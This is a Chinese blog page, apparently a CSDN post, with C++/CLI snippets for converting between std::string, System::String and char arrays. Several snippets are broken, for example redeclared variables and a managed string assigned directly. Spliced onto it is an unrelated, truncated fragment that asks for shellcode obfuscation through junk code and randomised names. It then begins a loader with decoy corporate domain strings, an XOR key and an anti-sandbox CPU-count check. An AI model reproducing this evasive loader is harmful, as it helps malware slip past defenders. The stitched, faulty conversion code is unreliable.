标准字符串std::string和System::String, CString之间的转换

.net开发中会遇到这个问题


#include <string>
#include <iostream>
using namespace std;
using namespace System;
using namespace System::Runtime::InteropServices;
//System::String转std::string
void MarshalString ( String* s, string& os ) {
   
   const char* chars = (const char*)(Marshal::StringToHGlobalAnsi(s)).ToPointer();
   os = chars;
   Marshal::FreeHGlobal(IntPtr((void*)chars));
}

//System::String转std::wstring
void MarshalString ( String* s, wstring& os ) {
   const wchar_t* chars = (const wchar_t*)(Marshal::StringToHGlobalUni(s)).ToPointer();
   os = chars;
   Marshal::FreeHGlobal(IntPtr((void*)chars));
}

//System::String转std::string
string str = "";
String* s = "abcdef";
const char* chars = (const char*)(Marshal::StringToHGlobalAnsi(s)).ToPointer();
str = s;

//std::wstring转System::String
string str = "abcdef";
String* s;
s = new String(str.c_str());

//System::String转char*;
String* s = "abcdef";
char*  ch=  (char*)(void*)Marshal::StringToHGlobalAnsi(s);

//System::String转char[];
char ch2[100];
strcpy(ch2,ch);


每行代码插入正规操作垃圾更改shellcode代码逻辑,更改所有变量名,动态函数随机起函数名字,尽可能打乱所有执行逻辑,但是不影响shellcode执行流程。#include <windows.h> #include <iostream> #include <cstring> #include <fstream> #include <string> #include <vector> #include <cstdlib> #include <ctime> #include <algorithm> #include <random> int main() { // 伪装用的大型公司相关字符串,每个用常量保存 const std::string DOMAIN_1 = "microsoft.com"; const std::string DOMAIN_2 = "baidu.com"; const std::string DOMAIN_3 = "google.com"; const std::string DOMAIN_4 = "apple.com"; const std::string DOMAIN_5 = "amazon.com"; const std::string DOMAIN_6 = "facebook.com"; const std::string DOMAIN_7 = "twitter.com"; const std::string DOMAIN_8 = "alibaba.com"; const std::string DOMAIN_9 = "tencent.com"; const std::string DOMAIN_10 = "samsung.com"; const std::string DOMAIN_11 = "sony.com"; const std::string DOMAIN_12 = "intel.com"; const std::string DOMAIN_13 = "ibm.com"; const std::string DOMAIN_14 = "oracle.com"; const std::string DOMAIN_15 = "netflix.com"; const std::string DOMAIN_16 = "spotify.com"; const std::string DOMAIN_17 = "paypal.com"; const std::string DOMAIN_18 = "tesla.com"; const std::string DOMAIN_19 = "nvidia.com"; const std::string DOMAIN_20 = "adobe.com"; // 使用 std::random_device 初始化随机数生成器 std::random_device rd; std::mt19937 g(rd()); // 打乱伪装字符串 std::vector<std::string> disguiseDomains = { DOMAIN_1, DOMAIN_2, DOMAIN_3, DOMAIN_4, DOMAIN_5, DOMAIN_6, DOMAIN_7, DOMAIN_8, DOMAIN_9, DOMAIN_10, DOMAIN_11, DOMAIN_12, DOMAIN_13, DOMAIN_14, DOMAIN_15, DOMAIN_16, DOMAIN_17, DOMAIN_18, DOMAIN_19, DOMAIN_20 }; std::shuffle(disguiseDomains.begin(), disguiseDomains.end(), g); // 加密所需的密钥 unsigned char key = 0x55; // 获取 CPU 核心数量 SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); int cpuCount = sysInfo.dwNumberOfProcessors; if (cpuCount < 10) { std::cerr << "系统CPU小于 10,程序退出。" << std::endl; re
最新发布
03-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值